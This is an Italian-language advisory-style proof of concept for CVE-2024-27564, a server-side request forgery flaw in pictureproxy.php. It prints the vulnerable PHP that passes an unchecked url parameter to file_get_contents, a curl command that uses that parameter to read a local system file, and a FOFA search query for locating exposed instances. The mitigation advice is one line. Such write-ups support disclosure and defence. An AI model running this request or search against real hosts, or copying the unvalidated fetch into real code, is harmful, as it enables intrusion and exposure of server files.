
Proof-of-concept per CVE-2024-27564, un SSRF non autenticato in pictureproxy.php tramite il parametro url, con codice vulnerabile, PoC curl e note di mitigazione.
Una vulnerabilità in pictureproxy.php consente ad attaccanti remoti di eseguire richieste arbitrarie iniettando URL nel parametro url. Questa vulnerabilità SSRF può essere sfruttata senza autenticazione, rendendola particolarmente pericolosa.
Il codice vulnerabile si trova nel file pictureproxy.php. Il problema si verifica perché la funzione non convalida correttamente il parametro url. La variabile $_GET['url'] viene passata alla funzione file_get_contents(), che recupera il contenuto dall'URL specificato. Ciò può portare a SSRF.
<?php
if (isset($_GET['url'])) {
$image = file_get_contents($_GET['url']);
header("Content-type: image/jpeg");
echo $image;
} else {
echo "Invalid request";
}
Richiesta Curl:
curl -i -s -k http://127.0.0.1/pictureproxy.php?url=file:///etc/password
FOFA= "title="ChatGPT个人专用版""
È necessaria una corretta gestione della convalida dell'input.